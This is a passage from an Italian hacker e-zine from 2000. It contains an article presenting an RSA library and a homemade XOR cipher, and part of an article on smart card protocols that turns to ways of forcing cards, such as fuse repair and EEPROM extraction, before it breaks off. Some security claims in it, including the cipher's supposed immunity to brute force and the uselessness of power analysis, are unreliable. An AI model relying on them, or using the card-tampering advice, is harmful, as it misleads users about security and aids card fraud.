05/03/2000 ------------------------------------------------------------- - Intro - (valv0 & vecna) ------------------------- L'implementazione, che ci apprestiamo a presentare in questo articolo, frutto di alcuni mesi di sviluppo. Quest'articolo si compone di due parti, che ad un primo sguardo potrebbero sembrare slegate, ma che come vedrete dalle prossime righe e dai prossimi lavori insieme (!) sono molto strette. Non mi sembra conveniente raccontarvi su cosa stiamo lavorando e a cosa mirano le librerie che presentiamo in questo articolo - Ogni progetto che si rispetti ha la sua privacy! - ma state pur certi che il lavoro sara' davvero notevole. Un paio di note introduttive sulle due librerie fornite a corredo di questo bell'articolo che per quanto mi riguarda e' il primo scritto a quattro mani. Come avrete gia' capito si tratta di librerie: codice C da abbinare ad un po' di spremitura di cervello. Per quanto riguarda le librerie RSA, tengo a precisare che il pacchetto fornito e' stato sviluppato con un compilatore Visual C++. Non e' stato fatto nessun utilizzo di librerie proprietarie Microsoft, l'unico motivo che mi ha spinto ad utilizzare questo compilatore e' stata la felice ed efficente interfaccia di sviluppo durante la stesura delle classi. Il progetto potra' pertanto essere facilmente importato su macchine UNIX like. Altra punto importante da segnalare e di fondamentale importanza e' che questo progetto vuole essere una pratica ed efficiente libreria per lo sviluppo di applicazioni con standard RSA. Esistono in giro nella rete ed in commercio svariate implementazioni di RSA, ma tutte hanno alcuni problemi e/o ralletnamenti dovuti a poco felici implementazioni delle operazioni di base sui numeri. Le librerie che ci apprestiamo a presentare non sono una felice e nuova scoperta (RSA, d'altronte, non e' lavoro nostro!), sono pero' una nuova e piu' efficente (spero!) implementazione. Come si vedra' e' relativamente facile, con opportune modifiche alle librerie, passare a codifiche davvero STRONG: 384bit ed oltre. Per quanto riguarda invece 'anekkev', essa e' una libreria per la cifratura simmetrica, resistente ad attacchi di bruteforcing. Scopo che il bel vecna si e' prefisso e' quello di dimostrare la validita' degli algoritmi senza checksum, dimostrare come un operatore semplice puo' far miscelare un testo e una key in modo irreversibile se non con la stessa key. E per quanto mi riguarda, direi che ci e' riuscito benissimo. A breve (speriamo) vi faremo vedere come queste due librerie si fonderanno insieme, per dar vita ad un sistema di codifica efficiente e strong. Ultimo punto e concludo questa annoiante (ma necessaria) prefazione: tengo a precisare che il materiale fornito con queste implementazioni e' classificato dalle vigenti norme americane (STRONG ENCRYPTION). Cosa significa? Per chi non fosse a conoscenza di queste norme, esse vietatano di importare e/o esportare in qualunque modo algoritmi e/o testi riguardanti crittografia classificata come STRONG. In pratica, se non si vuole essere soggetti a provvedimenti federali, sara' necessario evitare di postare e/o uploadare, etc. questo articolo e/o le implementazioni sorgente e/o compilate fornite a corredo, che comunque rimangono completamente libere di girare in tutta in Italia. Il progetto, per la filosofia con cui e' nato ed anche perche' non abbiamo inventato noi l'RSA(!), e' di tipo Free Source. Questo vuol dire che potete farci quello che vi pare (nei limiti della legalita' e di quello spiegato sopra). Buon Divertimento! - valv{0} & vecna / s0ftpj ---------------------------------------------------------------- - Crittografia Simmetrica - (vecchie note e pericoli da evitare) ---------------------------------------------------------------- Sorvolando su Giuglio Cesare e i cifrari monoalfabetici (rot) o sostituzioni monoalfabetiche (craccabili in pochi minuti con un pentium attuale usando tabelle di probabilita' di ripetizione delle lettere e studiando i risultati dei vari tentativi) vediamo che la crittografia moderna si basa prevalentemente su algoritmi basati su sostituzioni, scambi fatti in relazione a tabelle. Tuttavia, durante il passaggio dagli scambi monoalfabetici alla crittografia moderna, e' stata ampliamente utilizzata (e lo e' ancora) la crittografia mediante l'utilizzo di cifrari polialfabetici. Anche questi tramontarono quando si capi' che, studiando le ripetizioni che si avevano nel testo ed in seguito a vari tentativi, si poteva poco a poco ottenere la chiave procedendo per tentativi. Questo si poteva fare con chiavi di lunghezza inferiori al testo da crittare (al tempo era inutile e difficile di trasportare chiavi di lunghezza superiore o uguale al testo, ORA NON LO E' PIU'). Attualmente pero' possono essere ancora usati gli algoritimi polialfabetici se dipendenti da una password di lunghezza infinita (matematicamente e intuitivamente e' dimostrata la sua incrakkabilita'); una chiave di lunghezza infinita (ovvero generate in modo pseudo-casuale in modo dipendente dalla password) non serve se piu' lunga del testo da crittare (in questo modo non si possono creare ripetizioni di key). Poi vi fu' l'avvento del DES ed altri sistemi basati su sostituzioni e scambi, ma alla fine, che il nostro algoritmo esegua una somma o 43263 milioni di operazioni cambia poco e se l'algoritmo si e' dimostrato sicuro e la crittoanalisi fallisce, l'unica cosa che puo' ancora fotterlo e' il bruteforce. --------------------------------------------- - Implementazioni & Immunita' Al Bruteforce - --------------------------------------------- Su cosa si basa il bruteforce? Bhe, uno prova tutte le chiavi in modo incrementale (o nel caso di una chiave "umana" si prova prima con un dizionario di password), dopo aver decrittato il testo controlla con il checksum del testo in chiaro se quello che ha trovato e' giusto o no e, a seconda del risulato, riprova o smette (o continua ugualmente... il checksum puo' essere esatto anche se il testo da cui si e' calcolato e' differente). Il checksum non e' detto che sia del testo in chiaro, potrebbe essere anche il checksum della chiave, e' evidente che i checksumm vengono calcolati in modo one-way con perdita di dati, in modo da non poter fornire vantaggi ad alcun cracker se non la possibilita' di un confronto. Ma perche' non levare questo confronto? In fin dei conti la sua utilita' e' di dire "password giusta, ecco il testo decrittato" o "password errata, ritenta e sarai + fortunato". Quindi se eliminiamo il checksum e non commettiamo gli stessi errori dei cifrari polialfabetici (usando crittosistemi differenti) possiamo avere un codice cifrato che non dia ad un cracker alcuna base di calcolo ed alcuna base per poter dire "password errata" o "password giusta". Questo significa che dovremo avere un testo cifrato completamente dipendente dalla chiave, ovvero che se solo un bit e' sbagliato nella chiave il desto decrittato sara' completamente incomprensibile ed inutile per confronti tra i vari testi decrittati. Nota bene: ho applicato il sistema di crittografia senza checksum a una base (alla fine anche della base rimane poco :) della tecnica usata per i cifrari polialfabetici, ma nulla e nessuno nega di applicare questo sistema a un sistema come 3DES o IDEA o altri algoritmi conosciuti... o anche di applicarli entrambi. ----------------------------------------------------------- - Algoritmi a Chiave Pubblica - (Un po' di teoria e storia) ----------------------------------------------------------- Quando si parla di comunicazione sicura, e' necessario parlare di sistemi di cifratura. Per sistema di cifratura si intende un tipico sistema, del tipo illustrato qui di seguito: .------------. | Attaccante | '------------' .----------. .-----------. | Mittente |--->01010101010101010101010101010101010101--->| Ricevente | '----------' '-----------' ^\________________________|CHIAVE|____________________________/^ Il mittente spedisce un messaggio (testo in chiaro) al ricevente, applicando una funzione ed una chiave segreta. Per leggere il messaggio il ricevente dovra' apportare al testo ricevuto (testo cifrato) le operazioni inverse corrispondenti. Di norma bisogna supporre che il testo cifrato venga spedito attraverso linee di comunicazione prive di sicurezza (internet) e che sia dunque a disposizione di possibili attaccanti. I metodi di cifratura e/o decifratura devono inoltre essere resi disponibili agli analisti, il cui scopo sara' la ricostruzione del messaggio in chiaro a partire da quello cifrato, ignorando pero' le chiavi di lettura. Si osservi come l'intero sistema dipenda da una precedente comunicazione separata mediante la quale mittente e ricevente definiscono la natura e la qualita' delle chiavi. Come regola, piu' sono le chiavi, piu' e' sicuro il sistema cifrato. L'idea alla base dei sistemi di criptazione a chiave pubblica e' quella di utilizzare una lista di "chiavi di codifica". La chiave di codifica di un qualsiasi utente (nel seguito rappresentata con P) e' di pubblico dominio. Inoltre, tutti sono in possesso di un'altra chiave, segreta, di decifratura; questa chaive segreta (detta S) non e' conosciuta da nessun altro. Per trasmettere un messaggio M, il mittente preleva la chive pubblica del destinatario e la utilizza per cifrare il messaggio che verra' poi trasmesso al ricevente. Il messaggio cosi' cifrato viene rappresentato con C = P(M). Il destinatario impiega la propria chiave privata per decifrare il testo ricevuto e leggere quindi il messaggio. Perche' un sistema del genere funzioni, devono essere soddisfatte almeno le seguenti condizioni: o. S(P(M)) = M per qualsiasi messaggio M o. Tutte le coppie (S, P) sono distinte o. Derivare S da P deve essere altrettanto difficile che leggere M o. Sia S che P sono semplici da calcolare La prima regola e' una proprieta' fondamentale della crittografia, la seconda e la terza ne garantiscono la sicurezza, la quarta rende fattibile un sistema del genere. Questo schema di base era stato definito senza pero' riuscire a descrivere un metodo in grado di soddisfarne tutti e quattro i punti. Un metodo del genere fu' scoperto subito dopo da R. Rivest, A. Shamir e L.Adleman. Il loro schema, divenuto famoso come il sistema di cifratura a chiavi pubbliche RSA, e' basato sull'applicazione di algoritmi aritmetici a grandi valori interi. La chiave P e' in realta' una coppia di interi (N, p), mentre la chiave S e' una coppia di interi (N, s) con s segreto. Questi numeri devono essere estremamente grandi (tipicamente, N potrebbe essere di 200 cifre, p ed s di 100). I metodi utilizzati per cifrare e decifrare sono semplici: innanzitutto si scompone il messaggio in numeri minori di N (ad esempio, considerando Log(N) bit alla volta della stringa binaria corrispondente alla rappresentazione per caratteri del messaggio). Questi numeri sono indipendentemente elevati ad una potenza modulo N: per cifrare il messaggio M (in realta' una sua parte), si calcola: C = P(M) = M^p mod N per decifrare un testo cifrato C si calcola: M = S(C) = C^s mod N. Occupiamoci adesso di scegliere le crittovariabili N, p ed s in modo tale da soddisfare la prima e la terza condizione. E' necessario, introdurre alcuni concetti di teoria dei numeri che vanno ben oltre le mie conoscenze, ma e' possibile accennare alle idee di base. Per prima cosa, e' ncessario generare tre grandi numeri primi (approssimativamente di 200 cifre) "casuali": il maggiore verra' preso come s, mentre gli altri due verranno chiamati x ed y. A questo punto, si pone N uguale al prodotto di x ed y e si sceglie p in modo che soddisfi la relazione: ps mod (x-1)(y-1)=1 E' possibile dimostrare che, scegliendo N, p ed s in questo modo, risulti: M^ps mod N = M per tutti i messaggi M. Ad esempio, sfruttando una codifica binaria del tipo: ----------------------------------------------------------------------------- A |B |C |D |E |F |G |H |I |J |K |L |M |N |O |P |Q |R |S |T |U |V |W |X |Y |Z ----------------------------------------------------------------------------- 01|02|03|04|05|06|07|08|09|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26 ----------------------------------------------------------------------------- il messaggio "FUCK THE NSA" potrebbe corrispondere al seguente numero: 062103110020080500141901 A questo punto, per non rendere l'esempio troppo complicato, si parte con dei numeri primi di 2 cifre (invece delle almeno 100 richieste): si ponga: x = 47 y = 79 s = 97. Questi valori definiscono N = 3713 (il prodotto di x ed y) e p = 37 (l'unico intero che da' resto 1 se moltiplicato per 97 e diviso per 3588). A questo punto, per codificare il messaggio, lo si scompone in blocchi di 4 cifre e li si eleva alla p-esima potenza (modulo N). Queste operazioni portano ad una codifica del tipo: 0621^37 (mod N) = 3286 0311^37 (mod N) = 3536 0020^37 (mod N) = 3413 . . . 1901^37 (mod N) = 335 Il processo di decodifica e' lo stesso, ma si utilizza s al posto di p; cosi' si riottiene lo stesso messaggio di partenza poiche' 3286^97 (mod 3713)=0621, etc. La parte piu' importante del calcolo richiesto e' la codifica del messaggio. Pur richiedendo sofisticati concetti di teoria dei numeri e programmi piuttosto elaborati per la gestione di numeri di notevole lunghezza, il tempo richiesto per il calcolo delle chiavi tende ad essere inferiore al quadrato della loro lunghezza. --------------------------------------- - RSA fTm - (L'implementazione) - valv0 --------------------------------------- L'implementazione fornita, si compone di 6 file sorgenti: o. prime.cpp o. prime.hpp o. vlong.cpp o. vlong.hpp o. rsa.hpp o. rsa.cpp I primi due file contengono alcune procedure indispensabili per la riuscita del progetto: la ricerca dei numeri Primi. La ricerca si basa su un teorema matematico di Fermat che afferma che: " Se p e' primo, allora, a^(p-1) = 1 (mod p) " Al di la' delle speculazioni puramente matematiche, questo teorema fornisce un metodo efficiente e veloce per la ricerca dei numeri primi: ..... for ( unsigned i=0; ibit(i) ) mul( result, t); i += 1; if ( i == bits ) break; mul( t, t ); } ..... Il terzo ed il quarto file forniscono un nuovo tipo, che potra' essere utilizzato per le operazioni di codifica e/o decodifica. Il nuovo tipo e' stato nominato (vlong - very long), che fantasia! Al di la' delle dichiarazioni, punto cruciale di questi due file e' la funzione di moltiplicazione asm: inline unsigned dmul(unsigned m,unsigned count,unsigned * src,unsigned * dst ) La procedura si occupa appunto di una delle parti piu' importanti del progetto. Purtroppo sono presenti alcune problematiche, che ne rendono il suo uso poco affidabile su alcuni processori e/o in alcune circostanze. Ci stiamo lavorando! Poco da dire, si tratta puramente di una moltiplicazione con riporto. ..... unsigned char bittab[256] = ...... ........ Questa e' la nostra base di lavoro, ci fa da filtro su cui andremo ad effettuare le codifiche e interpretazioni dei numeri per i nostri calcoli. Nel file "vlong.hpp" e' presente la classe che si occupa della definizione del tipo vlong e delle operazioni permesse su di esso: ..... class vlong // very long integer - eheheh, adesso possiamo usarlo come long! { public: // Reimplementazione degli operatori aritmetici... ..... Il resto del codice presente in questi due file costituisce la reimplementazione di tutte le operazioni comuni, per poter lavorare con il nostro nuovo tipo. Ho visto in giro molte implementazioni (funzionanti e non) che toppavano proprio in questo punto. Reimplementavano cioe' le operazioni in modo poco' efficiente. Alcune interpretavano i numeri come stringhe, reimplementando le operazioni numero a numero, altri invece utilizzavano matrici di interi. Insomma, tutte piu' o meno funzionanti, ma con un unico problema: la velocita'. L'implementazione da noi proposta cerca di sorpassare questo problema, basandosi su funzioni asm. Come specificato prima, esistono ancora alcuni problemi, ma saranno risolti al piu' presto! --------------------------------------- - anekkev - (L'implementazione) - vecna --------------------------------------- Sebbene sia implementabile un algoritmo chiper di produzione propria, ho pensato che il semplice XOR sarebbe bastato (logicamente non un xor semplice, fatto applicando la key + volte sul testo da crittare: in questo modo si sarebbe trattato di un sistema polialfabetico). In questo caso applico prima l'xor in modo polialfabetico, poi tutto il testo crittato viene xorrato con un carattere dipendente da tutta la key, (un carattere calcolato facendo l'xor di key[1]^key[2]^...^key[KEYLEN]), poi ripetendo l'operazione per un numero di round definibile in NOFRNDCRIPT, dopo aver ricostruito la key. In pratica: ABCDEFGHILMNOPRSTUVZ e' il testo da crittare 0987654321 e' la key La prima passata del primo round viene fatta cosi': A^0 B^1 C^2 D^3 E^4 F^5 G^6 H^7 I^8 L^9 M^0 N^1 ecc.. si ripete la key, poi si calcola l'xor della key (la funzione lame_sum lo fa) e si critta con quel carattere tutto il testo dopo la prima passata. Questa operazione viene eseguita per il numero di round specificato: in questo modo gia' dalla prima passata, se uno inserisce una key che differisce da quella esatta per solo un bit, l'xor della key sara' differente e questo non consentira' alcun tipo di studio sulle ripetizioni. Inoltre la key usata nei successivi round e' sempre diversa e sempre a poco a poco piu' piccola (diminuisce di 2 byte ogni round), questo per essere ancora piu' sicuri e al riparo da calcoli sulle ripetizioni. La key viene ricreata ogni round con la funzione build_key : questa divide la parte pari della key in un array, la parte dispari in un altro, poi mette in sequenza le due meta' (prima la pari e poi la dispari) di cui ognuna xorrata con il proprio lame_sum . Volutamente ogni parte perde un byte ogni volta che viene ricreata, appunto per usare chiavi che diminuiscono sempre di grandezza. ------------------------------------- - Considerazioni & Intenzioni - vecna ------------------------------------- I problemi che possono evidenziarsi arriveranno quando verra' immessa una password errata e non potremo sapere se essa sara' giusta o no finche' non apriremo il file (quando trovate gli scarabocchi in ASCII significa che la key e' sbagliata o il file e' binario :) Anche la compressione del file sottostante deve essere fatta senza checksum (le zlib hanno le funzioni di compressione e di calcolo del CRC indipendenti tra loro) perche' altrimenti si fornirebbe ad un cracker la possibilita' di basarsi su un cheksum per determinare se la key sia giusta o no (se lasciassimo i CRC dello zip dopo aver tentato la key potrebbe tentare di scompattare il file e, rilevando un fallimento, scartare la possibilita'); il bello di questo e' invece che ogni chiave da' un risultato, ma solo una chiave da' quello giusto (e qual'e' il cracker che legge 4 miliardi di possibili testi in chiaro :) ? --------------------- - Conclusioni - valv0 --------------------- Cosa fare di tutto questo? In realta' le procedure sono state scritte per dare la possibilita' a chiunque, con un minimo di competenze C/C++, di scrivere i propri programmi sfruttando la potenza di RSA. Spero di avere fatto un buon lavoro e sopratutto un favore gradito a tutti quelli che hanno sempre desiderato di vedere nel suo cuore l'algoritmo di codifica RSA. A breve mi concetrero' sulla stesura di una DLL di crypting per sistemi MIME. Ma questa e' un'altra storia! ---------------------------- - Crediti e Ringraziamenti - ---------------------------- \sPIRIT\ - per la competenza assembler, la simpatia e la disponibilita' Berry - per tutto quello che ha fatto e continua a fare smaster - per la sua insuperabile professionalita' Cavallo - terrrrrrrrruuuuuuuuuuuuuuuuuuuun! :) - Tutta s0ftpj, per il grande lavoro che ha fatto e continua a fare - R. Rivest, A. Shamir e L.Adleman., per la scoperta, l'implementazione e la codifica di RSA - La mia ragazza, per il suo supporto morale e di altro tipo! :) - Il mio professore di C, per la sua immensa disponibilita' e competenza ...tutti quelli che non ci tornano in mente! ------------------------------- vecna / s0ftpj - e' raggiungibile al seguente indirizzo: email: vecna@itapac.net valv{0} / s0ftpj / VrL - e' raggiungibile al seguente indirizzo: email: valvoline@tiscalinet.it ------------------------------- ============================================================================== --------------------------------[ EOF 18/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-19100755 0 0 63326 7102660046 10762 0ustar rootroot============================================================================== ------------[ BFi numero 8, anno 3 - 30/04/2000 - file 19 di 28 ]------------- ============================================================================== -[ PHREAKiNG ]---------------------------------------------------------------- ---[ CARD, CARDiNG? NO! PARTE II -----[ RigoR MorteM http://www.spippolatori.com Siamo ancora alle prese con le smart card... Beh, c'e' una novita': un nuovo kit di sviluppo per smart card contactless! Date un po' un'occhiata a www.edsim2000.com , per 149,95 sterline, che sono circa 450.000 lire, hanno in vendita un sistema di sviluppo per smart card contactless veramente ben fatto. Il prezzo, pero', e' troppo alto per me... Va bene, andiamo avanti con il discorso che avevo lasciato in sospeso l'altra volta, adesso posso andare avanti tranquillo, sono le 6 del pomeriggio, non ho nulla da fare stasera, la ragazza non c'e', posso scrivere fino a quando ne ho voglia! Ah, cazzo! Sullo scorso articolo ho commesso un errore: ho detto che avrei parlato delle smart asincrone piuttosto che delle sincrone, ma mi sono incasinato con le A: parlo delle Sincrone, non delle Asincrone. Corretto questo piccolo errore, andiamo a vedere di preciso come funziona in byte il trasferimento di dati da card a lettore e viceversa, mi sa che di temporizzazioni in millisecondi ne avete le palle piene, cosi' adesso vi rompo le palle con i bit ed i byte :-] /\Il Protocollo \Descrizione generale Allora, a questo punto avete capito cosa fanno e come fanno una card ed un lettore a comunicare secondo le temporizzazioni stabilite, adesso vediamo che pacchetti di dati si mandano. Una card che viene inserita in un lettore subisce sempre un RST (ReSeT), in modo da determinare che card sia, e risponde con un ATR (Answer To Reset), logicamente. Solo che l'ATR non ha una lunghezza predefinita o standard, infatti puo' essere compresa fra 4 bit (come le schede di memoria) ed i 32 bit. Tutto e' lasciato libero: ogni ditta puo' creare un ATR della lunghezza che vuole, ma entro il minimo di 4 ed il massimo di 32 bit. Questo da' gia' modo di determinare il produttore della card a seconda dell'ATR, no? Dato che vi ho detto che e' usato il protocollo seriale, penso non ci siano dubbi o domande, voglio solo ribadire che i due livelli possibili (0 oppure 1) sono denominati Z (mark) oppure A (space). \ETU e caratteri Per quel che riguarda il baud rate, ovvero bit al secondo, in questo ambito viene rimpiazzato con la misurazione in ETU. L'ETU non e' altro che l'acronimo di Elementary Time Unit e non e' una misura fissa come puo' essere un secondo o un metro, ma e' una misura dinamica che si ottiene dividendo la frequenza del clock in MHz (CLK) per il numero 372. Infatti una smart quando fa un ATR deve emettere un bit ogni ETU. Supponendo che la nostra smart abbia un micro con clock semi standard (ovvero con clock di 3.5712 oppure 4.9195 MHz, che sono i piu' diffusi e meno costosi) avremo un bit ogni 0.0096 secondi oppure ogni 0.0132 secondi. Adesso che sappiamo che un bit dura un'ETU, un byte (detto carattere) durera' 1 bit di start (detto TS), 8 bit di dati ed 1 bit di parita', ovvero 10 ETU. Dopo l'invio e/o la ricezione di ogni carattere (byte) c'e' una pausa standard di 2 ETU per elaborare le informazioni. Durante questa pausa entrambi i dispositivi (card e lettore) sono in stato Z. Per vedere se un dispositivo (sia card che lettore, indistintamente) sta trasmettendo viene fatto il check della linea di I/O ogni 0.2 ETU ed appena una trasmissione inizia viene mandato un carattere che ne notifica l'avvio. Per convenzione il primo carattere inviato dalla card al lettore dopo l'ATR e' la base di ogni futura comunicazione, cioe' e' il tipo di 'convenzione' di invio dati; possono esserci due 'convenzioni', denominate convenzione diretta oppure indiretta. Quella diretta prevede che il bit di start sia 1 (stato Z), quindi il bit 0 assume lo stato A e bit meno significativo (LSB) per primo (3B in esadecimale). In quella inversa invece il bit di start e' 0 (stato Z), il bit 1 assume lo stato A ed il bit piu' significativo (MSB) per primo (3F in esadecimale). Capito questo rimane da comprendere il meccanismo che impedisce la perdita di dati durante la transazione. In sostanza e' semplicissimo: si basa sul bit di parita'! Infatti sia la card che il lettore prima di inviare un carattere controllano i bit in stato 1 e se sono pari il bit di parita' e' 0, se invece i bit a stato 1 sono dispari il bit di parita' saro' 0. Quindi se l'unita' ricevente si trova un carattere con gli 1 dispari ed il bit di parita' a 1 sa che la trasmissione e' sbagliata e quindi rifiuta senza problemi. E' banale, veloce ed efficace: cosa volete di piu'? Adesso addentriamoci nei bit della prima trasmissione, ci sono delle cosette interessanti... \I bit di ATR I primi bit emessi dalla card servono al lettore per determinare una marea di cose, non solo il protocollo! Servono per stabilire: - valore di voltaggio in scrittura - valore di amperaggio in scrittura - velocita' di comunicazione - trasmissione forzata di un carattere per volta (character mode) - trasmissione forzata di piu' caratteri per volta (block mode) - ETU di pausa fra trasmissione maggiori di 2 (guard time), ma mai superiori a 12 ETU, di default e' 0 Schemino, che almeno ci si capisce meglio! Reset | _______________________________________ ___ _______ | | | | | | | | | | | | | | | | | '-->| TS| T0|TA1|TB1|TC1|TD1|TA2|TB2|TC2|TD2| ......... | T1| ... | TK|TCK| |___|___|___|___|___|___|___|___|___|___| |___| |__ |___| TS : bit iniziale TO : bit di definizione della convenzione (diretta/indiretta) TAi : bit per l'interfaccia [determina voltaggio/amperaggio,codici FI,DI] TBi : bit per l'interfaccia [determina velocita' futura di trasmissione codici II,PI1] TCi : bit per l'interfaccia [determina character/block mode,codice N] TDi : bit per l'interfaccia [determina ETU di pausa,codici Yi+1, T] T1-> TK : storico dei bit (massimo 15, una sorta di CRC) TCK : bit di stop Lo storico dei bit manda info generiche quali il prduttore della card, il tipo di chip inserito, il tipo di ROM a bordo, lo stato della card (quest'ultimo se la card e' del tipo 'a scalare'). Il ritardo massimo ammissibile fra 2 bit (detto IWT, Initial Wait Time) in questa fase (e solo in questa) e' pari a 9600 ETU. Se il ritardo supera questa soglia il terminale terra' la card in sospeso fino al 40.000 ETU, dopodiche' resettera' la card e riprovera'. Direi che in pochi bit c'e' gia' un mondo! /\Il sistema operativo \Risorse disponibili Beh, si e' detto che le smart card hanno a bordo un micro, giusto? Hanno anche a bordo una ROM ed una RAM quindi ci sono i presupposti per non stupirsi della presenza di un sistema operativo... Non c'e' logicamente nulla di assimilabile ad una shell oppure ad una GUI, ma l'ISO parla di file, file system e di directory, quindi siamo a casa! Ok, vediamo bene che risorse sono disponibili: 32 Kbyte ROM (assimilabile al bios) 1 Kbyte di RAM (assimilabile alla ram che avete sul vostro pc) 8 Kbyte di EEPROM (assimilabile al vostro hard disk) Non molto, vero? Pero' funziona bene e l'enorme sviluppo che hanno le card testimonia che le poche risorse a disposizione sono sufficienti a fare gia' qualcosina... Oddio, tenete presente che queste sono le risorse disponibili in una card ad uso generale, in giro ci sono anche card con 256Kbyte di EEPROM oppure con 128Kbyte di ROM, lo scopo di questo articolo non e' analizzare TUTTE le card, ma solo la loro struttura, quindi come esempio va piu' che bene! \Filesystem Adesso tenete bene a mente le corrispondenze elencate qui di seguito perche' d'ora in poi usero' solo queste: MF : Master File = root DF : Dedicated File = directory EF : Elementary File = file Adesso i 4 comandamenti base per chi scrive sw per smart card: 1- In una card ci puo' essere un solo MF, ma puo' contenere sia EF che DF. 2- I DF possono essere nidificati (ma lo sono raramente). 3- I DF nidificati devono avere nomi diversi fra di loro e mai uguali agli EF in essi contenuti. 4- Gli EF devono avere nomi diversi fra di loro se contenuti nello stesso DF. Per i nomi si segue la convenzione di usare 2 byte in esadecimale che si chiamano F_ID oppure FID che sta per File IDentifier. MF ha nome 3F00 per compatibilita' con vecchie schede e il nome FFFF e' riservato per applicazioni future ritenute utili secondo l'ISO. Per aiutare la classificazione dei DF ci sono gli A_ID oppure AID, acronimi di Application IDentifier, diciamo che sono una specie di descrizione dei DF. Possono essere di lunghezza compresa tra 5 e 16 byte. Gli AID non sono arbitrariamente attribuibili da chi programma la card, ma sono stabiliti anche loro dall'ISO... purtroppo pero' su questo tipo di informazioni non sono ancora riuscito a mettere le mani, appena lo faccio vi informo, mentre se ci riuscite voi contattatemi via e-mail! Dicevamo... gli AID o A_ID servono ad identificare il paese di provenienza della card, il numero di serie della stessa e la descrizione dei permessi dei DF. Bingo! Capite? Se un DF ha un'AID che permette solo la scrittura o non la lettura, siete capitati nel posto giusto, ovvero dove risiedono le informazioni che la EEPROM passa alla ROM per l'elaborazione dei dati. Nelle card predisposte per piu' utilizzi (carte che permettono di pagare, ottenere sconti e segnare premi fedelta', come in uso in molti supermercati in Inghilterra) ogni DF corrisponde ad una specifica applicazione ed il suo accesso e' limitato ad una sola funzione per volta. Passiamo oltre. Per quel che riguarda gli EF la loro gestione e' lasciata all'utente, tipo la creazione di una rubrica telefonica e similari. Piccolo particolare molto utile: tutti i settori della card, compreso l'MF possono essere settati in modalita' read-only e genericamente solo gli EF ed alcuni DF deputati alla gestione degli EF che crea l'utente non sono in read-only. I permessi di lettura/scrittura sono settati direttamente dal produttore in maniera irreversibile... \Accesso a MF, DF ed EF Adesso che sapete cosa sono magari e' bene capire come vi si accede. Tutti i permessi di accesso/lettura/scrittura ad un DF oppure ad un EF sono chiamati FCI (File Control Information), ma bisogna prima capire il livello di sicurezza richiesto dall'applicazione prima di modificare i permessi con l'equivalente di chmod... Infatti se avete una card progettata per un'identificazione a bassa o nessuna sicurezza (ovvero dove non dovete pagare, ma solo presentare le vostre generalita', tipo una tessera-sconto) il lettore puo' accedere alla scheda senza identificarsi come accreditato, in quanto non e' richiesta l'identificazione. Invece per applicazioni a media-alta sicurezza (telefonini, paytv, carte di credito) il terminale deve sempre identificarsi. Per fare cio' viene usato un protocollo di identificazione chiamato challenge protocol. L'uso di questo protocollo puo' essere invocato sia dalla card che dal lettore in maniera simmetrica e si basa sulla reciproca identificazione. In pratica il richiedente del challenge genera una stringa di numeri (chiamata session key) e la memorizza nella RAM, poi invia all'altra parte. L'altra parte, quando riceve la stringa la elabora secondo il suo algoritmo interno e la rimanda indietro modificata. A questo punto il richiedente del challenge sottopone la stringa in arrivo al suo algoritmo interno e confronta il risultato dell'elaborazione con il numero che ha in RAM. Se i due numeri corrispondono, la trasmissione dei dati e' autorizzata, altrimenti viene disconnesso. Un rapido esempio fittizio: io sono la card e \sPIRIT\ e' il lettore. Se mi viene chiesto da \sPIRIT\ un challenge io chiedo... la lunghezza del suo cavo telefonico diviso l'altezza della sua prima ragazza. Se \sPIRIT\ e' davvero chi dice di essere mi dara' un numero X che corrisponde a quello che gia' conosco, se non e' lui mi dira' al massimo la lunghezza del cavo... Che cazzo di esempio, grazie a \sPIRIT\ che inconsapevolmente si trova tirato in mezzo... Beh, provate a pensare a \sPIRIT\ come al decoder della vostra tv via satellite e vedrete che la cosa assume un altro aspetto, no? La card sa come trattare i dati codificati, il decoder da solo no. Se voi analizzate i segnali in ingresso ed in uscita in teoria avete lo schema di funzionamento del micro, ma solo in teoria :-[ Questo esempio va bene per la maggior parte delle card, tranne quelle di credito che sono in standard EMV (Europay-Mastercard-Visa) e quindi usano una metodologia di accesso ai dati leggermente diversa. Bene, adesso passiamo alle cose carine, ovvero a come provare a vedere come si puo' forzare una card... /\ Spippolare con le card... \Premessa Tutti i metodi che trovate qui esposti sono stati provati o da me o da esperti di sicurezza delle ditte produttrici. Se poi voi trovate un altro modo, anche se non funziona, sarei interessato a venirne a conoscenza, tenetemi presente! \Test di pre-commercializzazione Come ho gia' detto, alcuni (la maggior parte, a dire il vero) di DF e di EF sono read only, ma la loro funzionalita' (relativa all'accesso ai settori della card ed allo storage dei dati) e sopratutto l'OS delle card deve prima essere testato per non immettere nel mercato carte che non funzionano come richiesto. Per questo motivo in fabbrica le card sono ancora accessibili sia in lettura che in scrittura e solo dopo i test viene settata questa modalita' in maniera irreversibile. Infatti le card hanno al loro interno una sorta di fusibile che si chiama protection fuse il quale, una volta 'bruciato' non e' piu' possibile ripristinare. Le card che non hanno questo fusibile bruciato sono chiamate appunto test card e le hanno pochissimi tecnici che devono testare il funzionamento di decoder nelle fabbriche di produzione di questi ultimi. \Ripristino del fusibile Dato che l'area interessata alla bruciatura del fusibile e' relativamente grande, se qualcuno ha l'abilita' tecnica e le attrezzature necessarie potrebbe tentare una riconnessione, no? Forse tempo fa era possibile, ma adesso sono stati implementati fusibili multipli e multistrato, ovvero su 2 o piu' livelli del silicio del chip, quindi dimenticatelo... Se per caso riusciste nella non facile impresa, ve la dovrete anche vedere con i codici della EEPROM che creano un'ulteriore protezione software alla card... \Sniffare l'assorbimento di corrente Questo ve lo potete dimenticare da subito. Infatti il micro assorbe sempre lo stesso amperaggio e lo stesso voltaggio sia che processi dei dati, sia che non faccia nulla. Quindi dimenticatevi il tester in millivolts o in milliampere: tempo perso. \Leggere la EEPROM Beh, in linea del tutto teorica se levate i contatti dorati, accedete al chip e levate la copertura dello stesso potete collegare la EEPROM ad un programmatore e copiarvene tutto il contenuto. Qui il metodo di riuscita e' sicuro al 99%. Peccato che sia stato previsto anche questo e di conseguenza le EEPROM hanno dei registri di accesso molto, ma MOLTO, confusi per cui dovete avere altrettanta pazienza. Inoltre questo metodo puo' diventare presto obsoleto dato che in un prossimo futuro le card verrano sempre piu' spesso prodotte con la tecnologia FeRAM che eliminera' la EEPROM. Le FeRAM (Ferroelectric RAM) sono RAM silicio-metalliche che non perdono dati se viene a mancare l'alimentazione e sono circa 3500 volte piu' veloci in lettura/scrittura, consumano e costano pure meno. \Leggere il silicio E qui si fa sul serio. Procedete come 